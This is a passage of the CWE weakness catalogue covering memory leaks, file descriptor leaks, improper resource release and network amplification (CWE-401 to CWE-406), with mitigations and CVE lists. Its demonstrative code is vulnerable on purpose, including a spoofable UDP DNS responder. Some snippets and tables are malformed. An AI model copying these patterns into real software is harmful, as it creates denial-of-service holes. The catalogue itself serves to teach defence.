Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Architecture and Design

Mitigation of resource exhaustion attacks requires that the target system either:
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.

The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, he may be able to prevent the user from accessing the server in question.

The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.

Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

Other Notes

Database queries that take a long time to process are good DoS targets. An attacker would have to write a few lines of Perl code to generate enough traffic to exceed the site’s ability to keep up. This would effectively prevent authorized users from using the site at all. Resources can be exploited simply by ensuring that the target machine must do much more work and consume more resources in order to service a request than the attacker must do to initiate a request.

A prime example of this can be found in old switches that were vulnerable to “macof” attacks (so named for a tool developed by Dugsong). These attacks flooded a switch with random IP and MAC address combinations, therefore exhausting the switch’s cache, which held the information of which port corresponded to which MAC addresses. Once this cache was exhausted, the switch would fail in an insecure way and would begin to act simply as a hub, broadcasting all traffic on all ports and allowing for basic sniffing attacks.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page 1</th>
<th>Page 2</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>399</td>
<td>Resource Management Errors</td>
<td>699</td>
<td>688</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Improper Control of a Resource Through its Lifetime</td>
<td>699</td>
<td>1003</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>664</td>
<td>Improper Control of a Resource Through its Lifetime</td>
<td>730</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>OWASP Top Ten 2004 Category A9 - Denial of Service</td>
<td>711</td>
<td>1028</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>858</td>
<td>CERT Java Secure Coding Section 13 - Serialization (SER)</td>
<td>844</td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>CERT Java Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>844</td>
<td>1301</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>861</td>
<td>CERT Java Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>888</td>
<td>1302</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>SFP Secondary Cluster: Unrestricted Consumption</td>
<td>888</td>
<td>1390</td>
</tr>
<tr>
<td>CanFollow</td>
<td>B</td>
<td>410</td>
<td>Insufficient Resource Pool</td>
<td>699</td>
<td>710</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>769</td>
<td>File Descriptor Exhaustion</td>
<td>699</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>1003</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>770</td>
<td>Allocation of Resources Without Limits or Throttling</td>
<td>699</td>
<td>1000</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>1000</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>771</td>
<td>Missing Reference to Active Allocated Resource</td>
<td>699</td>
<td>1185</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>1000</td>
<td></td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>772</td>
<td>Missing Release of Resource after Effective Lifetime</td>
<td>1000</td>
<td>1186</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>779</td>
<td>Logging of Excessive Data</td>
<td>699</td>
<td>1198</td>
</tr>
</tbody>
</table>
CWE-401: Improper Release of Memory Before Removing Last Reference ('Memory Leak')

**Weakness ID:** 401 *(Weakness Base)*  
*Status:* Draft

**Description**

**Summary**  
The software does not sufficiently track and release allocated memory after it has been used, which slowly consumes remaining memory.

**Extended Description**  
This is often triggered by improper handling of malformed data or unexpectedly interrupted sessions.

**Alternate Terms**  
Memory Leak

**Terminology Notes**  
"memory leak" has sometimes been used to describe other kinds of issues, e.g. for information leaks in which the contents of memory are inadvertently leaked (CVE-2003-0400 is one such example of this terminology conflict).

**Time of Introduction**  
- Architecture and Design
- Implementation

**Applicable Platforms**
Languages

- C
- C++

Modes of Introduction

Memory leaks have two common and sometimes overlapping causes:
- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for freeing the memory

Common Consequences

Availability
DoS: crash / exit / restart
DoS: instability
DoS: resource consumption (CPU)
DoS: resource consumption (memory)

Most memory leaks result in general software reliability problems, but if an attacker can intentionally trigger a memory leak, the attacker might be able to launch a denial of service attack (by crashing or hanging the program) or take advantage of other unexpected program behavior resulting from a low memory condition.

Likelihood of Exploit

Medium

Demonstrative Examples

Example 1:
The following C function leaks a block of allocated memory if the call to read() does not return the expected number of bytes:

**C Example:**

```c
char* getBlock(int fd) {
    char* buf = (char*) malloc(BLOCK_SIZE);
    if (!buf) {
        return NULL;
    }
    if (read(fd, buf, BLOCK_SIZE) != BLOCK_SIZE) {
        return NULL;
    }
    return buf;
}
```

Example 2:
Here the problem is that every time a connection is made, more memory is allocated. So if one just opened up more and more connections, eventually the machine would run out of memory.

**C Example:**

```c
bar connection(){
    foo = malloc(1024);
    return foo;
}
endConnection(bar foo) {
    free(foo);
}
int main() {
    while(1) //thread 1
        //On a connection
    foo=connection(); //thread 2
    //When the connection ends
    endConnection(foo)
}
```

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-0136</td>
<td>Memory leak via a series of the same command.</td>
</tr>
<tr>
<td>CVE-2002-0574</td>
<td>chain: reference count is not decremented, leading to memory leak in OS by sending ICMP packets.</td>
</tr>
</tbody>
</table>
CWE-401: Improper Release of Memory Before Removing Last Reference ('Memory Leak')

**Potential Mitigations**

**Implementation**

**Libraries or Frameworks**

Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone.

For example, glibc in Linux provides protection against free of invalid pointers.

When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [R.401.2].

To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as std::auto_ptr (defined by ISO/IEC ISO/IEC 14882:2003), std::shared_ptr and std::unique_ptr (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.

**Architecture and Design**

Use an abstraction library to abstract away risky APIs. Not a complete solution.

**Build and Compilation**

The Boehm-Demers-Weiser Garbage Collector or valgrind can be used to detect leaks in code.

This is not a complete solution as it is not 100% effective.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>398</td>
<td>Indicator of Poor Code Quality</td>
<td>700</td>
<td>685</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>399</td>
<td>Resource Management Errors</td>
<td>699</td>
<td>688</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>633</td>
<td>Weaknesses that Affect Memory</td>
<td>631</td>
<td>983</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>730</td>
<td>OWASP Top Ten 2004 Category A9 - Denial of Service</td>
<td>711</td>
<td>1123</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>772</td>
<td>Missing Release of Resource after Effective Lifetime</td>
<td>1000</td>
<td>1186</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>861</td>
<td>CERT Java Secure Coding Section 49 - Miscellaneous (MSC)</td>
<td>844</td>
<td>1302</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>982</td>
<td>SFP Secondary Cluster: Failure to Release Resource</td>
<td>888</td>
<td>1389</td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>390</td>
<td>Detection of Error Condition Without Action</td>
<td>1000</td>
<td>673</td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>630</td>
<td>Weaknesses Examined by SAMATE</td>
<td>630</td>
<td>982</td>
</tr>
</tbody>
</table>

**Relationship Notes**

This is often a resultant weakness due to improper handling of malformed data or early termination of sessions.

**Affected Resources**

- Memory

**Functional Areas**

- Memory management

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td>Memory leak</td>
</tr>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td></td>
<td>Memory Leak</td>
</tr>
<tr>
<td>CLASP</td>
<td></td>
<td></td>
<td>Failure to deallocate data</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A9</td>
<td>CWE More Specific</td>
<td>Denial of Service</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>MSC04-J</td>
<td></td>
<td>Do not leak memory</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP14</td>
<td></td>
<td>Failure to release resource</td>
</tr>
</tbody>
</table>

**White Box Definitions**

A weakness where the code path has:

1. start statement that allocates dynamically allocated memory resource
CWE-402: Transmission of Private Resources into a New Sphere ('Resource Leak')

2. end statement that loses identity of the dynamically allocated memory resource creating situation where dynamically allocated memory resource is never relinquished

Where "loses" is defined through the following scenarios:
1. identity of the dynamic allocated memory resource never obtained
2. the statement assigns another value to the data element that stored the identity of the dynamically allocated memory resource and there are no aliases of that data element
3. identity of the dynamic allocated memory resource obtained but never passed on to function for memory resource release
4. the data element that stored the identity of the dynamically allocated resource has reached the end of its scope at the statement and there are no aliases of that data element

References

CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')

A process does not close sensitive file descriptors before invoking a child process, which allows the child to perform unauthorized I/O operations using those descriptors.
**Extended Description**
When a new process is forked or executed, the child process inherits any open file descriptors. When the child process has fewer privileges than the parent process, this might introduce a vulnerability if the child process can access the file descriptor but does not have the privileges to access the associated file.

**Alternate Terms**

**File descriptor leak**
While this issue is frequently called a file descriptor leak, the "leak" term is often used in two different ways - exposure of a resource, or consumption of a resource. Use of this term could cause confusion.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- All

**Operating Systems**
- UNIX

**Common Consequences**

**Confidentiality**
**Integrity**
**Read application data**
**Modify application data**

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0094</td>
<td>Access to restricted resource using modified file descriptor for stderr.</td>
</tr>
<tr>
<td>CVE-2002-0638</td>
<td>Open file descriptor used as alternate channel in complex race condition.</td>
</tr>
<tr>
<td>CVE-2003-0489</td>
<td>Program does not fully drop privileges after creating a file descriptor, which allows access to the descriptor via a separate vulnerability.</td>
</tr>
<tr>
<td>CVE-2003-0740</td>
<td>Server leaks a privileged file descriptor, allowing the server to be hijacked.</td>
</tr>
<tr>
<td>CVE-2003-0937</td>
<td>User bypasses restrictions by obtaining a file descriptor then calling setuid program, which does not close the descriptor.</td>
</tr>
<tr>
<td>CVE-2004-1033</td>
<td>File descriptor leak allows read of restricted files.</td>
</tr>
<tr>
<td>CVE-2004-2215</td>
<td>Terminal manager does not properly close file descriptors, allowing attackers to access terminals of other users.</td>
</tr>
<tr>
<td>CVE-2006-5397</td>
<td>Module opens a file for reading twice, allowing attackers to read files.</td>
</tr>
</tbody>
</table>

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>402</td>
<td>Transmission of Private Resources into a New Sphere ('Resource Leak')</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>634</td>
<td>Weaknesses that Affect System Processes</td>
<td>631</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>743</td>
<td>CERT C Secure Coding Section 09 - Input Output (FIO)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>877</td>
<td>CERT C++ Secure Coding Section 09 - Input Output (FIO)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
</tr>
</tbody>
</table>

**Affected Resources**
- System Process
- File/Directory

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>UNIX file descriptor leak</td>
<td></td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>FIO42-C</td>
<td>Ensure files are properly closed when they are no longer needed</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>FIO42-CPP</td>
<td>Ensure files are properly closed when they are no longer needed</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP23</td>
<td>Exposed Data</td>
</tr>
</tbody>
</table>
CWE-404: Improper Resource Shutdown or Release

References

CWE-404: Improper Resource Shutdown or Release

<table>
<thead>
<tr>
<th>Weakness ID: 404 (Weakness Base)</th>
<th>Status: Draft</th>
</tr>
</thead>
</table>

Description

Summary
The program does not release or incorrectly releases a resource before it is made available for re-use.

Extended Description
When a resource is created or allocated, the developer is responsible for properly releasing the resource as well as accounting for all potential paths of expiration or invalidation, such as a set period of time or revocation.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms
Languages
• All

Common Consequences
Availability
Other
DoS: resource consumption (other)
Varies by context
Most unreleased resource issues result in general software reliability problems, but if an attacker can intentionally trigger a resource leak, the attacker might be able to launch a denial of service attack by depleting the resource pool.

Confidentiality
Read application data
When a resource containing sensitive information is not correctly shutdown, it may expose the sensitive data in a subsequent allocation.

Likelihood of Exploit
Low to Medium

Detection Methods
Automated Dynamic Analysis
Moderate
This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Resource clean up errors might be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Manual Dynamic Analysis
Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Demonstrative Examples
Example 1:
The following method never closes the file handle it opens. The Finalize() method for StreamReader eventually calls Close(), but there is no guarantee as to how long it will take before the Finalize() method is invoked. In fact, there is no guarantee that Finalize() will ever be invoked. In a busy environment, this can result in the VM using up all of its available file handles.

Java Example:
```java
private void processFile(string fName) {
    StreamWriter sw = new StreamWriter(fName);
    string line;
    while ((line = sr.ReadLine()) != null){
        processLine(line);
    }
}
```

Example 2:
This code attempts to open a connection to a database and catches any exceptions that may occur.

Java Example:
```java
try {
    Connection con = DriverManager.getConnection(some_connection_string);
} catch ( Exception e ) {
    log( e );
}
```

If an exception occurs after establishing the database connection and before the same connection closes, the pool of database connections may become exhausted. If the number of available connections is exceeded, other users cannot access this resource, effectively denying access to the application.

Example 3:
Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

C# Example:
```csharp
... SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
... 
```

Example 4:
The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles.
C Example:

```c
int decodeFile(char* fName) {
    char buf[BUF_SZ];
    FILE* f = fopen(fName, "r");
    if (!f) {
        printf("cannot open %s\n", fName);
        return DECODE_FAIL;
    } else {
        while (fgets(buf, BUF_SZ, f)) {
            if (!checkChecksum(buf)) {
                return DECODE_FAIL;
            } else {
                decodeBlock(buf);
            }
        }
    }
    fclose(f);
    return DECODE_SUCCESS;
}
```

Example 5:
In this example, the program does not use matching functions such as malloc/free, new/delete, and new[]/delete[] to allocate/deallocate the resource.

C++ Example:

```cpp
class A {
    void foo();
};
void A::foo()
{
    int *ptr;
    ptr = (int*)malloc(sizeof(int));
    delete ptr;
}
```

Example 6:
In this example, the program calls the delete[] function on non-heap memory.

C++ Example:

```cpp
class A{
    void foo(bool);
};
void A::foo(bool heap) {
    int localArray[2] = { 11,22
    };,
    int *p = localArray;
    if (heap)
        p = new int[2];
    delete[] p;
}
```

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-1127</td>
<td>Does not shut down named pipe connections if malformed data is sent.</td>
</tr>
<tr>
<td>CVE-2001-0830</td>
<td>Sockets not properly closed when attacker repeatedly connects and disconnects from server.</td>
</tr>
<tr>
<td>CVE-2002-1372</td>
<td>Return values of file/socket operations not checked, allowing resultant consumption of file descriptors.</td>
</tr>
</tbody>
</table>

Potential Mitigations
Requirements
Language Selection
Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
For example, languages such as Java, Ruby, and Lisp perform automatic garbage collection that releases memory for objects that have been deallocated.

Implementation
It is good practice to be responsible for freeing all resources you allocate and to be consistent with how and where you free memory in a function. If you allocate memory that you intend to free upon completion of the function, you must be sure to free the memory at all exit points for that function including error conditions.

Implementation
Memory should be allocated/freed using matching functions such as malloc/free, new/delete, and new[]/delete[].

Implementation
When releasing a complex object or structure, ensure that you properly dispose of all of its member components, not just the object itself.

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)
Improper release or shutdown of resources can be primary to resource exhaustion, performance, and information confidentiality problems to name a few.

Resultant (where the weakness is typically related to the presence of some other weaknesses)
Improper release or shutdown of resources can be resultant from improper error handling or insufficient resource tracking.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>🌟</td>
<td>398</td>
<td>Indicator of Poor Code Quality</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌟</td>
<td>399</td>
<td>Resource Management Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌟</td>
<td>405</td>
<td>Asymmetric Resource Consumption (Amplification)</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌟</td>
<td>664</td>
<td>Improper Control of a Resource Through its Lifetime</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌟</td>
<td>730</td>
<td>OWASP Top Ten 2004 Category A9 - Denial of Service</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌟</td>
<td>743</td>
<td>CERT C Secure Coding Section 09 - Input Output (FIO)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌟</td>
<td>752</td>
<td>2009 Top 25 - Risky Resource Management</td>
<td>750</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌟</td>
<td>857</td>
<td>CERT Java Secure Coding Section 12 - Input Output (FIO)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌟</td>
<td>876</td>
<td>CERT C++ Secure Coding Section 08 - Memory Management (MEM)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌟</td>
<td>877</td>
<td>CERT C++ Secure Coding Section 09 - Input Output (FIO)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌟</td>
<td>882</td>
<td>CERT C++ Secure Coding Section 14 - Concurrency (CON)</td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>🌟</td>
<td>982</td>
<td>SFP Secondary Cluster: Failure to Release Resource</td>
<td>888</td>
</tr>
<tr>
<td>PeerOf</td>
<td>⚖</td>
<td>239</td>
<td>Failure to Handle Incomplete Element</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🔴</td>
<td>262</td>
<td>Not Using Password Aging</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🔴</td>
<td>263</td>
<td>Password Aging with Long Expiration</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🔴</td>
<td>299</td>
<td>Improper Check for Certificate Revocation</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🔴</td>
<td>459</td>
<td>Incomplete Cleanup</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🔴</td>
<td>619</td>
<td>Dangling Database Cursor ('Cursor Injection')</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🔴</td>
<td>763</td>
<td>Release of Invalid Pointer or Reference</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>🔴</td>
<td>772</td>
<td>Missing Release of Resource after Effective Lifetime</td>
<td>699</td>
</tr>
</tbody>
</table>

Relationship Notes
Overlaps memory leaks, asymmetric resource consumption, malformed input errors.
CWE Version 2.11

CWE-405: Asymmetric Resource Consumption (Amplification)

Functional Areas
- Non-specific

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td>Improper resource shutdown or release</td>
</tr>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td></td>
<td>Unreleased Resource</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A9</td>
<td>CWE More Specific</td>
<td>Denial of Service</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>FIO42-C</td>
<td></td>
<td>Ensure files are properly closed when they are no longer needed</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>FIO04-J</td>
<td></td>
<td>Release resources when they are no longer needed</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>MEM39-CPP</td>
<td></td>
<td>Resources allocated by memory allocation functions must be released using the corresponding memory deallocation function</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>FIO42-CPP</td>
<td></td>
<td>Ensure files are properly closed when they are no longer needed</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>CON02-CPP</td>
<td></td>
<td>Use lock classes for mutex management</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP14</td>
<td></td>
<td>Failure to release resource</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>125</td>
<td>Flooding</td>
</tr>
<tr>
<td>130</td>
<td>Excessive Allocation</td>
</tr>
<tr>
<td>131</td>
<td>Resource Leak Exposure</td>
</tr>
</tbody>
</table>

References

CWE-405: Asymmetric Resource Consumption (Amplification)

Weakness ID: 405 (Weakness Class) Status: Incomplete

Description

Summary
Software that does not appropriately monitor or control resource consumption can lead to adverse system performance.

Extended Description
This situation is amplified if the software allows malicious users or attackers to consume more resources than their access level permits. Exploiting such a weakness can lead to asymmetric resource consumption, aiding in amplification attacks against the system or the network.

Time of Introduction
- Operation
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences

Availability
DoS: amplification
DoS: resource consumption (other)
Sometimes this is a factor in "flood" attacks, but other types of amplification exist.

Potential Mitigations
Architecture and Design
An application must make resources available to a client commensurate with the client’s access level.

Architecture and Design
An application must, at all times, keep track of allocated resources and meter their usage appropriately.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>399</td>
<td>Resource Management Errors</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>664</td>
<td>Improper Control of a Resource Through its Lifetime</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>730</td>
<td>OWASP Top Ten 2004 Category A9 - Denial of Service</td>
<td>711</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>855</td>
<td>CERT Java Secure Coding Section 10 - Thread Pools (TPS)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>857</td>
<td>CERT Java Secure Coding Section 12 - Input Output (FIO)</td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>977</td>
<td>SFP Secondary Cluster: Design</td>
<td>888</td>
</tr>
<tr>
<td>PeerOf</td>
<td>E</td>
<td>404</td>
<td>Improper Resource Shutdown or Release</td>
<td>1000</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>406</td>
<td>Insufficient Control of Network Message Volume (Network Amplification)</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>407</td>
<td>Algorithmic Complexity</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>408</td>
<td>Incorrect Behavior Order: Early Amplification</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>409</td>
<td>Improper Handling of Highly Compressed Data (Data Amplification)</td>
<td>699</td>
</tr>
</tbody>
</table>

Functional Areas
- Non-specific

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td></td>
<td>Asymmetric resource consumption (amplification)</td>
</tr>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A9</td>
<td>CWE More Specific</td>
<td>Denial of Service</td>
</tr>
<tr>
<td>WASC</td>
<td>41</td>
<td></td>
<td>XML Attribute Blowup</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>TPS00-J</td>
<td></td>
<td>Use thread pools to enable graceful degradation of service during traffic bursts</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>FIO04-J</td>
<td></td>
<td>Release resources when they are no longer needed</td>
</tr>
</tbody>
</table>

CWE-406: Insufficient Control of Network Message Volume (Network Amplification)

Weakness ID: 406 (Weakness Base)  Status: Incomplete

Description

Summary
The software does not sufficiently monitor or control transmitted network traffic volume, so that an actor can cause the software to transmit more traffic than should be allowed for that actor.

Extended Description
In the absence of a policy to restrict asymmetric resource consumption, the application or system cannot distinguish between legitimate transmissions and traffic intended to serve as an amplifying attack on target systems. Systems can often be configured to restrict the amount of traffic sent out on behalf of a client, based on the client’s origin or access level. This is usually defined in a resource allocation policy. In the absence of a mechanism to keep track of transmissions, the system or application can be easily abused to transmit asymmetrically greater traffic than the request or client should be permitted to.
Time of Introduction
- Operation
- Architecture and Design
- Implementation

Applicable Platforms
Languages
- All

Common Consequences
Availability
DoS: amplification
DoS: crash / exit / restart
DoS: resource consumption (CPU)
DoS: resource consumption (memory)
DoS: resource consumption (other)

System resources can be quickly consumed leading to poor application performance or system crash. This may affect network performance and could be used to attack other systems and applications relying on network performance.

Enabling Factors for Exploitation
If the application uses UDP, then it could potentially be subject to spoofing attacks that use the inherent weaknesses of UDP to perform traffic amplification, although this problem can exist in other protocols or contexts.

Demonstrative Examples
This code listens on a port for DNS requests and sends the result to the requesting address.

Python Example:

```
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind( (UDP_IP,UDP_PORT) )
while true:
data = sock.recvfrom(1024)
if not data:
    break
(requestIP, nameToResolve) = parseUDPpacket(data)
record = resolveName(nameToResolve)
sendResponse(requestIP,record)
```

This code sends a DNS record to a requesting IP address. UDP allows the source IP address to be easily changed ('spoofed'), thus allowing an attacker to redirect responses to a target, which may be then be overwhelmed by the network traffic.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-0513</td>
<td>Classic &quot;Smurf&quot; attack, using spoofed ICMP packets to broadcast addresses.</td>
</tr>
<tr>
<td>CVE-1999-1066</td>
<td>Game server sends a large amount.</td>
</tr>
<tr>
<td>CVE-1999-1379</td>
<td>DNS query with spoofed source address causes more traffic to be returned to spoofed address than was sent by the attacker.</td>
</tr>
<tr>
<td>CVE-2000-0041</td>
<td>Large datagrams are sent in response to malformed datagrams.</td>
</tr>
<tr>
<td>CVE-2013-5211</td>
<td>composite: NTP feature generates large responses (high amplification factor) with spoofed UDP source addresses.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design
Separation of Privilege
An application must make network resources available to a client commensurate with the client’s access level.

Policy
Define a clear policy for network resource allocation and consumption.

Implementation
